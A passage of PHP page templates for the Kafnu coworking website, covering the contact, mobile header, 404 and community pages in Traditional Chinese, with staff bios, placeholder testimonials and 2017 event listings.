</div> <div class="manic-expand-container-btn"></div> <div class="manic-expand-container-content"> <div class="container-fluid reduce-padding"> <div class="row"> <div class="col-md-8 map-col"> <div id="taipei-map-mobile"></div> </div> <div class="col-md-4 text-col"> <div class="page-contact-find-us-text-box-container"> <h2>Taipei</h2> <div class="address"> <h6>Address</h6> <p>No. 101, Section 3, Minsheng East Road, Songshan District, Taipei City, Taiwan</p> </div> <div class="email"> <h6>Email</h6> <a href="mailto:taipei@kafnu.com">taipei@kafnu.com</a> </div> </div> </div> </div> </div> </div> </div> </div> </article> </div> <!-- #page-wrapper-content --> </div> <!-- #page-wrapper --> <?php include "includes/footer_desktop.php"; ?> <?php include "includes/footer_mobile.php"; ?> <?php include "includes/script_contact.php" ?> </body> </html> <?php // saving captured output to file file_put_contents('contact.html', ob_get_contents()); // end buffering and displaying page ob_end_flush(); ?>``` header_mobile.php ```<?php global $current_page; ?> <!-- __ __ ___ ____ ___ _ _____ _ _ _____ _ ____ _____ ____ | \/ |/ _ \| __ )_ _| | | ____| | | | | ____| / \ | _ \| ____| _ \ | |\/| | | | | _ \| || | | _| | |_| | _| / _ \ | | | | _| | |_) | | | | | |_| | |_) | || |___| |___ | _ | |___ / ___ \| |_| | |___| _ < |_| |_|\___/|____/___|_____|_____| |_| |_|_____/_/ \_\____/|_____|_| \_\ --> <header id="header-mobile" class="visible-md visible-sm visible-xs"> <div class="white-bg"></div> <div id="header-mobile-content-container"> <div id="header-mobile-logo-container"> <a id="header-mobile-logo" href="index.html" title="Transmedic - Advancing Medical Technologies"></a> </div> <div id="header-mobile-menu-opener-container"> <a id="header-mobile-menu-opener" href="javascript:void(0);"> <span></span> <span></span> <span></span> </a> </div> </div> </header> <!-- header-mobile --> <div id="header-mobile-expand"> <div id="header-mobile-language-login-container"> <div id="header-mobile-language-cta-container"> <ul> <li><a href="/index.html">EN</a></li> <li><a href="/tc/index.html">中文</a></li> </ul> </div> <div id="header-mobile-login-cta-container"> <a href="https://hongkong.kafnu.com/Login" target="_blank">Login</a> </div> </div> <div id="header-mobile-nav-container"> <nav> <ul> <li><a href="live.html">Live</a></li> <li><a href="work.html">Work</a></li> <li><a href="play.html">Play</a></li> <li><a href="learn.html">Learn</a></li> <li><a href="rest.html">Rest</a></li> <li><a href="community.html">Our Community</a></li> <li><a href="index.html#location">Our Locations</a></li> <li><a href="contact.html">Contact</a></li> </ul> </nav> </div> </div> <!-- header-mobile-expand --> ``` 404.php ```<?php ob_start(); ?> <?php global $current_page; $current_page = "page-404"; ?> <!doctype html> <!--[if lt IE 7]> <html class="no-js lt-ie9 lt-ie8 lt-ie7" lang=""> <![endif]--> <!--[if IE 7]> <html class="no-js lt-ie9 lt-ie8" lang=""> <![endif]--> <!--[if IE 8]> <html class="no-js lt-ie9" lang=""> <![endif]--> <!--[if gt IE 8]><!--> <html class="no-js" lang=""> <!--<![endif]--> <head> <?php include 'includes/head.php'; ?> </head> <body class="<?php echo $current_page; ?>"> <!-- home-expand-header-version --> <!-- only the home page has the class home-expand-header-version by default --> <?php include "includes/preloader.php"; ?> <?php include "includes/header_desktop.php"; ?> <?php include "includes/header_mobile.php"; ?> <div id="page-wrapper"> <div id="page-wrapper-content"> <div id="page-home-nav-trigger"></div> <!-- <div class="header-mobile-spacer hidden-lg hidden-md"></div> --> <!-- ____ _ _ _ _ _ _____ ____ | __ ) / \ | \ | | \ | | ____| _ \ | _ \ / _ \ | \| | \| | _| | |_) | | |_) / ___ \| |\ | |\ | |___| _ < |____/_/ \_\_| \_|_| \_|_____|_| \_\ --> <article id="page-default-banner-section"> <div id="page-default-banner-image" class="visible-lg visible-md"> <div class="manic-image-container has-window-height"> <img src="" data-image-desktop="images_cms/404/404-banner.jpg"> </div> </div> <div id="page-default-banner-image-mobile" class="visible-sm visible-xs"> <div class="manic-image-container has-window-height"> <img src="" data-image-tablet="images_cms/404/404-banner.jpg" data-image-mobile="images_cms/404/404-banner.jpg"> </div> </div> <div id="page-default-banner-copy-container" class="left-version vertical-center-version"> <div class="container-fluid"> <div class="row"> <div class="col-md-12"> <div id="page-default-banner-copy"> <h1>對不起,我們找不到您所搜索的網頁。</h1> <a href="index.html" class="return-cta"><h5>返回主頁</h5></a> </div> <!-- page-default-banner-copy --> </div> </div> </div> </div> <!-- page-default-banner-copy-container --> </article> <!-- page-default-banner-section --> </div> <!-- #page-wrapper-content --> </div> <!-- #page-wrapper --> <?php include "includes/footer_desktop.php"; ?> <?php include "includes/footer_mobile.php"; ?> <?php include "includes/script.php" ?> </body> </html> <?php // saving captured output to file file_put_contents('404.html', ob_get_contents()); // end buffering and displaying page ob_end_flush(); ?>``` community.php ```<?php ob_start(); ?> <?php global $current_page; $current_page = "page-community"; ?> <!doctype html> <!--[if lt IE 7]> <html class="no-js lt-ie9 lt-ie8 lt-ie7" lang=""> <![endif]--> <!--[if IE 7]> <html class="no-js lt-ie9 lt-ie8" lang=""> <![endif]--> <!--[if IE 8]> <html class="no-js lt-ie9" lang=""> <![endif]--> <!--[if gt IE 8]><!--> <html class="no-js" lang=""> <!--<![endif]--> <head> <?php include 'includes/head.php'; ?> </head> <body class="<?php echo $current_page; ?>"> <!-- home-expand-header-version --> <!-- only the home page has the class home-expand-header-version by default --> <?php include "includes/preloader.php"; ?> <?php include "includes/header_desktop.php"; ?> <?php include "includes/header_mobile.php"; ?> <div id="page-wrapper"> <div id="page-wrapper-content"> <div id="page-home-nav-trigger"></div> <div class="header-mobile-spacer hidden-lg hidden-md"></div> <!-- ____ _ _ _ _ _ _____ ____ | __ ) / \ | \ | | \ | | ____| _ \ | _ \ / _ \ | \| | \| | _| | |_) | | |_) / ___ \| |\ | |\ | |___| _ < |____/_/ \_\_| \_|_| \_|_____|_| \_\ --> <article id="page-default-banner-section" class="community-page-1"> <div id="page-default-banner-image" class="visible-lg visible-md"> <div class="manic-image-container"> <img src="" data-image-desktop="images_cms/community/community-banner.jpg"> </div> </div> <div id="page-default-banner-image-mobile" class="visible-sm visible-xs"> <div class="manic-image-container has-window-height"> <img src="" data-image-tablet="images_cms/community/community-banner.jpg" data-image-mobile="images_cms/community/community-banner-mobile.jpg"> </div> </div> <div id="page-default-banner-copy-container" class="center-version medium-text-version"> <div class="container-fluid"> <div class="row"> <div class="col-md-12"> <div id="page-default-banner-copy"> <h1>Kafnu 社群</h1> <h3>串接個人實力與社群資源的橋梁</h3> </div> <!-- page-default-banner-copy --> </div> </div> </div> </div> <!-- page-default-banner-copy-container --> </article> <!-- page-default-banner-section --> <article id="page-community-slider-section" class="community-page-1"> <div class="container-fluid"> <div class="row"> <div class="col-md-10 col-md-offset-1"> <div id="page-community-slider-title"> <!-- <div class="manic-image-container"> --> <img src="kafnu_assets/images/logo/logo-kafnu-color-vertical.svg" alt=""> <!-- </div> --> <h3>Kafnu 是以印度喜馬拉雅山腳一個小村落來命名。旅客在攻頂前,會先到這個村落與其他的旅者相聚,再一起展開探索喜馬拉雅山的旅程。</h3> <h3>這些旅人、冒險家、背包客與探險者們,將從Kafnu 村落開始攀登喜馬拉雅山的挑戰;而落腳於 Kafnu 的創業者、藝術家與創意工作者,也將從這裡開始一步步開展人生與專業領域的旅程。</h3> </div> <!-- page-community-slider-title --> <div id="page-community-slider-title-2"> <h2>社群經理團隊</h2> </div> <div id="page-community-slider-container" class="hidden-xs hidden-sm"> <div id="page-community-slider" class="kafnu-slick-slider"> <div class="page-community-slider-item"> <div class="manic-image-container"> <img src="" data-image-desktop="images_cms/community/community-slider-01.jpg" data-image-tablet="images_cms/community/community-slider-01.jpg" data-image-mobile="images_cms/community/community-slider-01.jpg" alt=""> </div> <div class="page-community-slider-item-caption"> <h5>香港</h5> <h4>Pico Ho</h4> <p>我是一名具尊重及同理心的聆聽者。我喜歡在空餘時跟朋友遠足和露營。當你遇到困難,我將會陪在你身旁跟你一起解決。</p> </div> </div> <div class="page-community-slider-item"> <div class="manic-image-container"> <img src="" data-image-desktop="images_cms/community/community-slider-02.jpg" data-image-tablet="images_cms/community/community-slider-02.jpg" data-image-mobile="images_cms/community/community-slider-02.jpg" alt=""> </div> <div class="page-community-slider-item-caption"> <h5>香港</h5> <h4>Jenna Ho</h4> <p>音樂是我的信仰,也是我抒發情感的渠道;我13歲的時候便可以創作歌曲。我的座右銘是:想做便去做。</p> </div> </div> <div class="page-community-slider-item"> <div class="manic-image-container"> <img src="" data-image-desktop="images_cms/community/community-slider-03.jpg" data-image-tablet="images_cms/community/community-slider-03.jpg" data-image-mobile="images_cms/community/community-slider-03.jpg" alt=""> </div> <div class="page-community-slider-item-caption"> <h5>香港</h5> <h4>Ben Ng</h4> <p>電影是我的靈感泉源,不管是令人愉快的故事,還是讓人掉淚的情節。我曾遇過許多挫折,但正因為這些經歷,才能成就今天的我。</p> </div> </div> <div class="page-community-slider-item"> <div class="manic-image-container"> <img src="" data-image-desktop="images_cms/community/community-slider-04.jpg" data-image-tablet="images_cms/community/community-slider-04.jpg" data-image-mobile="images_cms/community/community-slider-04.jpg" alt=""> </div> <div class="page-community-slider-item-caption"> <h5>香港</h5> <h4>Michelle Lui</h4> <p>一個平凡的名字亦可以活出一個非同凡享的生命。我是一個超級喜歡冒險的人—我熱愛激流、獨木舟、探險。</p> </div> </div> <div class="page-community-slider-item"> <div class="manic-image-container"> <img src="" data-image-desktop="images_cms/community/community-slider-05.jpg" data-image-tablet="images_cms/community/community-slider-05.jpg" data-image-mobile="images_cms/community/community-slider-05.jpg" alt=""> </div> <div class="page-community-slider-item-caption"> <h5>香港</h5> <h4>Karl Li</h4> <p>我經常持批判性的思維,在團隊中常擔任”魔鬼的倡導者”角色。我最喜歡的書是"From 0 to 1"。它啟發了我的思維,激發我不斷創新。</p> </div> </div> <!-- <div class="page-community-slider-item"> <div class="manic-image-container"> <img src="" data-image-desktop="images_cms/community/community-slider-03.jpg" data-image-tablet="images_cms/community/community-slider-03.jpg" data-image-mobile="images_cms/community/community-slider-03.jpg" alt=""> </div> <div class="page-community-slider-item-caption"> <h5>香港</h5> <h4>Ben Ng</h4> <p>I am critical about things and always play the devil’s advocate role in the team. My favourite book is "From 0 to 1". It inspired me a lot and made me love creating new things.</p> </div> </div> --> </div> <div id="page-community-thumbnail-slider" class="kafnu-slick-slider"> <div class="page-community-thumbnail-slider-item"> <img src="images_cms/community/slider-thumbnail-01.jpg" class="img-responsive" alt=""> </div> <div class="page-community-thumbnail-slider-item"> <img src="images_cms/community/slider-thumbnail-02.jpg" class="img-responsive" alt=""> </div> <div class="page-community-thumbnail-slider-item"> <img src="images_cms/community/slider-thumbnail-03.jpg" class="img-responsive" alt=""> </div> <div class="page-community-thumbnail-slider-item"> <img src="images_cms/community/slider-thumbnail-04.jpg" class="img-responsive" alt=""> </div> <div class="page-community-thumbnail-slider-item"> <img src="images_cms/community/slider-thumbnail-05.jpg" class="img-responsive" alt=""> </div> <!-- <div class="page-community-thumbnail-slider-item"> <img src="images_cms/community/slider-thumbnail-03.jpg" class="img-responsive" alt=""> </div> --> </div> </div> <!-- page-community-slider-container --> <div id="page-community-managers-mobile" class="visible-xs visible-sm"> <div class="page-community-managers-item-mobile"> <div class="manic-image-container has-full-width"> <img src="" data-image-tablet="images_cms/community/community-slider-01.jpg" data-image-mobile="images_cms/community/community-slider-01-mobile.jpg" alt=""> </div> <div class="text-container"> <h5>香港</h5> <h4>Pico Ho</h4> <p>我是一名具尊重及同理心的聆聽者。我喜歡在空餘時跟朋友遠足和露營。當你遇到困難,我將會陪在你身旁跟你一起解決。</p> </div> </div> <!-- page-community-managers-item-mobile --> <div class="page-community-managers-see-more-box"> <div class="text-container"> <a href="#see-more-managers" class="see-more-managers"><h4>更多 <br>社群經理團隊</h4></a> </div> <div class="cta-container"> <a href="#see-more-managers" class="see-more-managers plus-icon"></a> </div> </div> </div> </div> </div> </div> <!-- container-fluid--> </article> <!-- page-community-slider-section --> <article id="page-community-memeber-section" class=""> <div class="container-fluid"> <div id="page-community-member-title"> <h2>會員心得分享</h2> </div> <div id="page-community-member-slider" class="kafnu-slick-slider hidden-xs hidden-sm"> <div class="page-community-member-slider-item"> <div class="row"> <div class="col-md-8"> <div class="page-community-member-slider-item-image-container"> <div class="manic-image-container"> <img src="" data-image-desktop="images_cms/community/member-slider-desktop-01-color.jpg" alt=""> </div> <div class="manic-image-container"> <img src="" data-image-desktop="images_cms/community/member-slider-desktop-02-white.jpg" alt=""> </div> <div class="manic-image-container"> <img src="" data-image-desktop="images_cms/community/member-slider-desktop-03-white.jpg" alt=""> </div> <div class="manic-image-container"> <img src="" data-image-desktop="images_cms/community/member-slider-desktop-04-white.jpg" alt=""> </div> <div class="manic-image-container"> <img src="" data-image-desktop="images_cms/community/member-slider-desktop-05-white.jpg" alt=""> </div> <div class="manic-image-container"> <img src="" data-image-desktop="images_cms/community/member-slider-desktop-06-white.jpg" alt=""> </div> </div> </div> <div class="col-md-4 text-col"> <div class="text-box-container"> <p>“Lorem ipsum dolor sit amet, cons ectetur adipscing elit. Maecenas mollis lorem in enim finibus, quis ultrices dui accumsna. Nulla facilisi. Fusce at aliquam mangna, quis condimentum.”</p> <span class="name">Lorem Ipsum, <br>from Kafnu Hong Kong</span> </div> </div> </div> <!-- row --> </div> <!-- page-community-member-slider-item --> <div class="page-community-member-slider-item"> <div class="row"> <div class="col-md-8"> <div class="page-community-member-slider-item-image-container"> <div class="manic-image-container"> <img src="" data-image-desktop="images_cms/community/member-slider-desktop-01-white.jpg" alt=""> </div> <div class="manic-image-container"> <img src="" data-image-desktop="images_cms/community/member-slider-desktop-02-color.jpg" alt=""> </div> <div class="manic-image-container"> <img src="" data-image-desktop="images_cms/community/member-slider-desktop-03-white.jpg" alt=""> </div> <div class="manic-image-container"> <img src="" data-image-desktop="images_cms/community/member-slider-desktop-04-white.jpg" alt=""> </div> <div class="manic-image-container"> <img src="" data-image-desktop="images_cms/community/member-slider-desktop-05-white.jpg" alt=""> </div> <div class="manic-image-container"> <img src="" data-image-desktop="images_cms/community/member-slider-desktop-06-white.jpg" alt=""> </div> </div> </div> <div class="col-md-4 text-col"> <div class="text-box-container"> <p>“Lorem ipsum dolor sit amet, cons ectetur adipscing elit. Maecenas mollis lorem in enim finibus, quis ultrices dui accumsna. Nulla facilisi. Fusce at aliquam mangna, quis condimentum.”</p> <span class="name">Lorem Ipsum, <br>from Kafnu Hong Kong</span> </div> </div> </div> <!-- row --> </div> <div class="page-community-member-slider-item"> <div class="row"> <div class="col-md-8"> <div class="page-community-member-slider-item-image-container"> <div class="manic-image-container"> <img src="" data-image-desktop="images_cms/community/member-slider-desktop-01-white.jpg" alt=""> </div> <div class="manic-image-container"> <img src="" data-image-desktop="images_cms/community/member-slider-desktop-02-white.jpg" alt=""> </div> <div class="manic-image-container"> <img src="" data-image-desktop="images_cms/community/member-slider-desktop-03-color.jpg" alt=""> </div> <div class="manic-image-container"> <img src="" data-image-desktop="images_cms/community/member-slider-desktop-04-white.jpg" alt=""> </div> <div class="manic-image-container"> <img src="" data-image-desktop="images_cms/community/member-slider-desktop-05-white.jpg" alt=""> </div> <div class="manic-image-container"> <img src="" data-image-desktop="images_cms/community/member-slider-desktop-06-white.jpg" alt=""> </div> </div> </div> <div class="col-md-4 text-col"> <div class="text-box-container"> <p>“Lorem ipsum dolor sit amet, cons ectetur adipscing elit. Maecenas mollis lorem in enim finibus, quis ultrices dui accumsna. Nulla facilisi. Fusce at aliquam mangna, quis condimentum.”</p> <span class="name">Lorem Ipsum, <br>from Kafnu Hong Kong</span> </div> </div> </div> <!-- row --> </div> <div class="page-community-member-slider-item"> <div class="row"> <div class="col-md-8"> <div class="page-community-member-slider-item-image-container"> <div class="manic-image-container"> <img src="" data-image-desktop="images_cms/community/member-slider-desktop-01-white.jpg" alt=""> </div> <div class="manic-image-container"> <img src="" data-image-desktop="images_cms/community/member-slider-desktop-02-white.jpg" alt=""> </div> <div class="manic-image-container"> <img src="" data-image-desktop="images_cms/community/member-slider-desktop-03-white.jpg" alt=""> </div> <div class="manic-image-container"> <img src="" data-image-desktop="images_cms/community/member-slider-desktop-04-color.jpg" alt=""> </div> <div class="manic-image-container"> <img src="" data-image-desktop="images_cms/community/member-slider-desktop-05-white.jpg" alt=""> </div> <div class="manic-image-container"> <img src="" data-image-desktop="images_cms/community/member-slider-desktop-06-white.jpg" alt=""> </div> </div> </div> <div class="col-md-4 text-col"> <div class="text-box-container"> <p>“Lorem ipsum dolor sit amet, cons ectetur adipscing elit. Maecenas mollis lorem in enim finibus, quis ultrices dui accumsna. Nulla facilisi. Fusce at aliquam mangna, quis condimentum.”</p> <span class="name">Lorem Ipsum, <br>from Kafnu Hong Kong</span> </div> </div> </div> <!-- row --> </div> <div class="page-community-member-slider-item"> <div class="row"> <div class="col-md-8"> <div class="page-community-member-slider-item-image-container"> <div class="manic-image-container"> <img src="" data-image-desktop="images_cms/community/member-slider-desktop-01-white.jpg" alt=""> </div> <div class="manic-image-container"> <img src="" data-image-desktop="images_cms/community/member-slider-desktop-02-white.jpg" alt=""> </div> <div class="manic-image-container"> <img src="" data-image-desktop="images_cms/community/member-slider-desktop-03-white.jpg" alt=""> </div> <div class="manic-image-container"> <img src="" data-image-desktop="images_cms/community/member-slider-desktop-04-white.jpg" alt=""> </div> <div class="manic-image-container"> <img src="" data-image-desktop="images_cms/community/member-slider-desktop-05-color.jpg" alt=""> </div> <div class="manic-image-container"> <img src="" data-image-desktop="images_cms/community/member-slider-desktop-06-white.jpg" alt=""> </div> </div> </div> <div class="col-md-4 text-col"> <div class="text-box-container"> <p>“Lorem ipsum dolor sit amet, cons ectetur adipscing elit. Maecenas mollis lorem in enim finibus, quis ultrices dui accumsna. Nulla facilisi. Fusce at aliquam mangna, quis condimentum.”</p> <span class="name">Lorem Ipsum, <br>from Kafnu Hong Kong</span> </div> </div> </div> <!-- row --> </div> <div class="page-community-member-slider-item"> <div class="row"> <div class="col-md-8"> <div class="page-community-member-slider-item-image-container"> <div class="manic-image-container"> <img src="" data-image-desktop="images_cms/community/member-slider-desktop-01-white.jpg" alt=""> </div> <div class="manic-image-container"> <img src="" data-image-desktop="images_cms/community/member-slider-desktop-02-white.jpg" alt=""> </div> <div class="manic-image-container"> <img src="" data-image-desktop="images_cms/community/member-slider-desktop-03-white.jpg" alt=""> </div> <div class="manic-image-container"> <img src="" data-image-desktop="images_cms/community/member-slider-desktop-04-white.jpg" alt=""> </div> <div class="manic-image-container"> <img src="" data-image-desktop="images_cms/community/member-slider-desktop-05-white.jpg" alt=""> </div> <div class="manic-image-container"> <img src="" data-image-desktop="images_cms/community/member-slider-desktop-06-color.jpg" alt=""> </div> </div> </div> <div class="col-md-4 text-col"> <div class="text-box-container"> <p>“Lorem ipsum dolor sit amet, cons ectetur adipscing elit. Maecenas mollis lorem in enim finibus, quis ultrices dui accumsna. Nulla facilisi. Fusce at aliquam mangna, quis condimentum.”</p> <span class="name">Lorem Ipsum, <br>from Kafnu Hong Kong</span> </div> </div> </div> <!-- row --> </div> </div> </div> <div class="container-fluid reduce-padding"> <div id="page-community-member-slider-mobile" class="kafnu-slick-slider visible-xs visible-sm"> <div class="page-community-member-slider-item-mobile"> <div class="row"> <div class="col-md-8"> <div class="page-community-member-slider-item-image-container"> <div class="manic-image-container"> <img src="" data-image-tablet="images_cms/community/member-slider-desktop-01-color.jpg" data-image-mobile="images_cms/community/member-slider-desktop-01-color-mobile.jpg" alt=""> </div> </div> </div> <div class="col-md-4 text-col"> <div class="text-box-container"> <p>“Lorem ipsum dolor sit amet, cons ectetur adipscing elit. Maecenas mollis lorem in enim finibus, quis ultrices dui accumsna. Nulla facilisi. Fusce at aliquam mangna, quis condimentum.”</p> <span class="name">Lorem Ipsum, <br>from Kafnu Hong Kong</span> </div> </div> </div> <!-- row --> </div> <!-- page-community-member-slider-item --> <div class="page-community-member-slider-item-mobile"> <div class="row"> <div class="col-md-8"> <div class="page-community-member-slider-item-image-container"> <div class="manic-image-container"> <img src="" data-image-tablet="images_cms/community/member-slider-desktop-02-color.jpg" data-image-mobile="images_cms/community/member-slider-desktop-02-color.jpg" alt=""> </div> </div> </div> <div class="col-md-4 text-col"> <div class="text-box-container"> <p>“Lorem ipsum dolor sit amet, cons ectetur adipscing elit. Maecenas mollis lorem in enim finibus, quis ultrices dui accumsna. Nulla facilisi. Fusce at aliquam mangna, quis condimentum.”</p> <span class="name">Lorem Ipsum, <br>from Kafnu Hong Kong</span> </div> </div> </div> <!-- row --> </div> <div class="page-community-member-slider-item-mobile"> <div class="row"> <div class="col-md-8"> <div class="page-community-member-slider-item-image-container"> <div class="manic-image-container"> <img src="" data-image-tablet="images_cms/community/member-slider-desktop-03-color.jpg" data-image-mobile="images_cms/community/member-slider-desktop-03-color.jpg" alt=""> </div> </div> </div> <div class="col-md-4 text-col"> <div class="text-box-container"> <p>“Lorem ipsum dolor sit amet, cons ectetur adipscing elit. Maecenas mollis lorem in enim finibus, quis ultrices dui accumsna. Nulla facilisi. Fusce at aliquam mangna, quis condimentum.”</p> <span class="name">Lorem Ipsum, <br>from Kafnu Hong Kong</span> </div> </div> </div> <!-- row --> </div> <div class="page-community-member-slider-item-mobile"> <div class="row"> <div class="col-md-8"> <div class="page-community-member-slider-item-image-container"> <div class="manic-image-container"> <img src="" data-image-tablet="images_cms/community/member-slider-desktop-04-color.jpg" data-image-mobile="images_cms/community/member-slider-desktop-04-color.jpg" alt=""> </div> </div> </div> <div class="col-md-4 text-col"> <div class="text-box-container"> <p>“Lorem ipsum dolor sit amet, cons ectetur adipscing elit. Maecenas mollis lorem in enim finibus, quis ultrices dui accumsna. Nulla facilisi. Fusce at aliquam mangna, quis condimentum.”</p> <span class="name">Lorem Ipsum, <br>from Kafnu Hong Kong</span> </div> </div> </div> <!-- row --> </div> <div class="page-community-member-slider-item-mobile"> <div class="row"> <div class="col-md-8"> <div class="page-community-member-slider-item-image-container"> <div class="manic-image-container"> <img src="" data-image-tablet="images_cms/community/member-slider-desktop-05-color.jpg" data-image-mobile="images_cms/community/member-slider-desktop-05-color.jpg" alt=""> </div> </div> </div> <div class="col-md-4 text-col"> <div class="text-box-container"> <p>“Lorem ipsum dolor sit amet, cons ectetur adipscing elit. Maecenas mollis lorem in enim finibus, quis ultrices dui accumsna. Nulla facilisi. Fusce at aliquam mangna, quis condimentum.”</p> <span class="name">Lorem Ipsum, <br>from Kafnu Hong Kong</span> </div> </div> </div> <!-- row --> </div> <div class="page-community-member-slider-item-mobile"> <div class="row"> <div class="col-md-8"> <div class="page-community-member-slider-item-image-container"> <div class="manic-image-container"> <img src="" data-image-tablet="images_cms/community/member-slider-desktop-05-color.jpg" data-image-mobile="images_cms/community/member-slider-desktop-06-color.jpg" alt=""> </div> </div> </div> <div class="col-md-4 text-col"> <div class="text-box-container"> <p>“Lorem ipsum dolor sit amet, cons ectetur adipscing elit. Maecenas mollis lorem in enim finibus, quis ultrices dui accumsna. Nulla facilisi. Fusce at aliquam mangna, quis condimentum.”</p> <span class="name">Lorem Ipsum, <br>from Kafnu Hong Kong</span> </div> </div> </div> <!-- row --> </div> </div> </div> </article> <article id="page-default-booking-section" class="community-page-1 community-version"> <div class="container-fluid"> <div class="scroll-target" data-value="events"></div> <div class="page-default-booking-item-title"> <h2>Kafnu 活動</h2> </div> <div id="page-default-booking-item-desktop" class="center-version hidden-sm hidden-xs"> <!-- <div class="row"> --> <div class="page-default-booking-item inline-block-version"> <div class="page-default-booking-item-image"> <div class="manic-image-container"> <img src="" data-image-desktop="images_cms/community/event-01.jpg" data-image-tablet="images_cms/community/event-01.jpg" data-image-mobile="images_cms/community/event-01.jpg" alt=""> </div> <div class="page-default-booking-item-image-caption"> <h6>近期活動</h6> <h5>邁向未來的願景擘畫</h5> </div> </div> <div class="page-default-booking-item-text"> <ul> <li class="calendar icon">2017.10.12 - 06:30PM</li> <li class="map-pin icon">Kafnu 香港</li> </ul> <p>Kafnu開幕活動將舉辦雞尾酒會與創意論壇,歡慶Kafnu正式營運。</p> </div> <!-- <div class="page-default-booking-item-cta-container"> <a href="#" class="square-cta border-version">See More</a> </div> --> </div> <!-- <div class="col-md-3 no-padding page-default-booking-item"> <div class="page-default-booking-item-image"> <div class="manic-image-container"> <img src="" data-image-desktop="images_cms/community/event-02.jpg" data-image-tablet="images_cms/community/event-02.jpg" data-image-mobile="images_cms/community/event-02.jpg" alt=""> </div> <div class="page-default-booking-item-image-caption"> <h6>近期活動</h6> <h5>HICAP論壇歡迎酒會</h5> </div> </div> <div class="page-default-booking-item-text"> <ul> <li class="calendar icon">2017.10.19 - 07:00PM</li> <li class="map-pin icon">Kafnu 香港</li> </ul> <p>前來香港參加HICAP活動嗎? 歡迎參觀Kafnu全球第一個據點,並體驗我們精心準備的驚喜吧!</p> </div> </div> <div class="col-md-3 no-padding page-default-booking-item"> <div class="page-default-booking-item-image"> <div class="manic-image-container"> <img src="" data-image-desktop="images_cms/community/event-03.jpg" data-image-tablet="images_cms/community/event-03.jpg" data-image-mobile="images_cms/community/event-03.jpg" alt=""> </div> <div class="page-default-booking-item-image-caption"> <h6>近期活動</h6> <h5>“未知領域”晚宴</h5> </div> </div> <div class="page-default-booking-item-text"> <ul> <li class="calendar icon">2017.10.20 - 06:00PM</li> <li class="map-pin icon">Kafnu 香港</li> </ul> <p>Kafnu作東,邀請你與HICAP參與者共同體驗香港最隱密的私房餐廳。</p> </div> <!- - <div class="page-default-booking-item-cta-container"> <a href="javascript:void(0);" class="square-cta border-version fade-out-version">Expired</a> </div> - -> </div> --> <!-- <div class="page-default-booking-item inline-block-version"> <div class="page-default-booking-item-image"> <div class="manic-image-container"> <img src="" data-image-desktop="images_cms/community/event-04.jpg" data-image-tablet="images_cms/community/event-04.jpg" data-image-mobile="images_cms/community/event-04.jpg" alt=""> </div> <div class="page-default-booking-item-image-caption"> <h6>近期活動</h6> <h5>商務發展在台灣</h5> </div> </div> <div class="page-default-booking-item-text"> <ul> <li class="calendar icon">2017.10.30 - 2017.11.03</li> <li class="map-pin icon">Kafnu 香港</li> </ul> <p>規劃為期一周的研討會,包含個別顧問諮詢時間,教你如何在台灣設立公司,與硬體大場合作,招募與人資規範,以及進出口相關規定。</p> </div> <!- - <div class="page-default-booking-item-cta-container"> <a href="javascript:void(0);" class="square-cta border-version fade-out-version">Expired</a> </div> - -> </div> --> <!-- </div> --> <!-- row --> </div> <!-- __ _______ ____ ______ ______ / |/ / __ \/ __ )/ _/ / / ____/ / /|_/ / / / / __ |/ // / / __/ / / / / /_/ / /_/ // // /___/ /___ /_/ /_/\____/_____/___/_____/_____/ --> <div id="page-default-booking-item-mobile" class="visible-sm visible-xs kafnu-slick-slider"> <div class="col-md-3 page-default-booking-item"> <h6>近期活動</h6> <div class="page-default-booking-item-image"> <div class="manic-image-container"> <img src="" data-image-desktop="images_cms/community/event-01.jpg" data-image-tablet="images_cms/community/event-01.jpg" data-image-mobile="images_cms/community/event-01.jpg" alt=""> </div> </div> <div class="page-default-booking-item-text"> <h5>邁向未來的願景擘畫</h5> <ul> <li class="calendar icon">2017.10.12 - 06:30PM</li> <li class="map-pin icon">Kafnu 香港</li> </ul> <p>Kafnu開幕活動將舉辦雞尾酒會與創意論壇,歡慶Kafnu正式營運。</p> </div> <div class="page-default-booking-item-cta-container"> <!-- <a href="#" class="square-cta border-version">See More</a> --> </div> </div> <!-- <div class="col-md-3 page-default-booking-item"> <h6>近期活動</h6> <div class="page-default-booking-item-image"> <div class="manic-image-container"> <img src="" data-image-desktop="images_cms/community/event-02.jpg" data-image-tablet="images_cms/community/event-02.jpg" data-image-mobile="images_cms/community/event-02.jpg" alt=""> </div> </div> <div class="page-default-booking-item-text"> <h5>HICAP論壇歡迎酒會</h5> <ul> <li class="calendar icon">2017.10.19 - 07:00PM</li> <li class="map-pin icon">Kafnu 香港</li> </ul> <p>前來香港參加HICAP活動嗎? 歡迎參觀Kafnu全球第一個據點,並體驗我們精心準備的驚喜吧!</p> </div> <div class="page-default-booking-item-cta-container"> <!- - <a href="#" class="square-cta border-version">See More</a> - -> </div> </div> --> <!-- <div class="col-md-3 page-default-booking-item"> <h6>近期活動</h6> <div class="page-default-booking-item-image"> <div class="manic-image-container"> <img src="" data-image-desktop="images_cms/community/event-03.jpg" data-image-tablet="images_cms/community/event-03.jpg" data-image-mobile="images_cms/community/event-03.jpg" alt=""> </div> </div> <div class="page-default-booking-item-text"> <h5>“未知領域”晚宴</h5> <ul> <li class="calendar icon">2017.10.20 - 06:00PM</li> <li class="map-pin icon">Kafnu 香港</li> </ul> <p>Kafnu作東,邀請你與HICAP參與者共同體驗香港最隱密的私房餐廳。</p> </div> <div class="page-default-booking-item-cta-container"> <!- - <a href="#" class="square-cta border-version">See More</a> - -> </div> </div> --> <!-- <div class="col-md-3 page-default-booking-item"> <h6>近期活動</h6> <div class="page-default-booking-item-image"> <div class="manic-image-container"> <img src="" data-image-desktop="images_cms/community/event-04.jpg" data-image-tablet="images_cms/community/event-04.jpg" data-image-mobile="images_cms/community/event-04.jpg" alt=""> </div> </div> <div class="page-default-booking-item-text"> <h5>商務發展在台灣</h5> <ul> <li class="calendar icon">2017.10.30 - 2017.11.03</li> <li class="map-pin icon">Kafnu 香港</li> </ul> <p>規劃為期一周的研討會,包含個別顧問諮詢時間,教你如何在台灣設立公司,與硬體大場合作,招募與人資規範,以及進出口相關規定。</p> </div> <div class="page-default-booking-item-cta-container"> <!- - <a href="#" class="square-cta border-version">See More</a> - -> </div> </div> --> </div> </div> </article> <article class="community-page-2"> <div class="container-fluid"> <div class="row"> <div class="col-md-10 col-md-offset-1"> <div id="page-2-community-managers-mobile"> <div class="page-community-managers-item-mobile"> <div class="manic-image-container has-full-width"> <img class="image" src="" data-image-tablet="images_cms/community/community-slider-01-mobile.jpg" 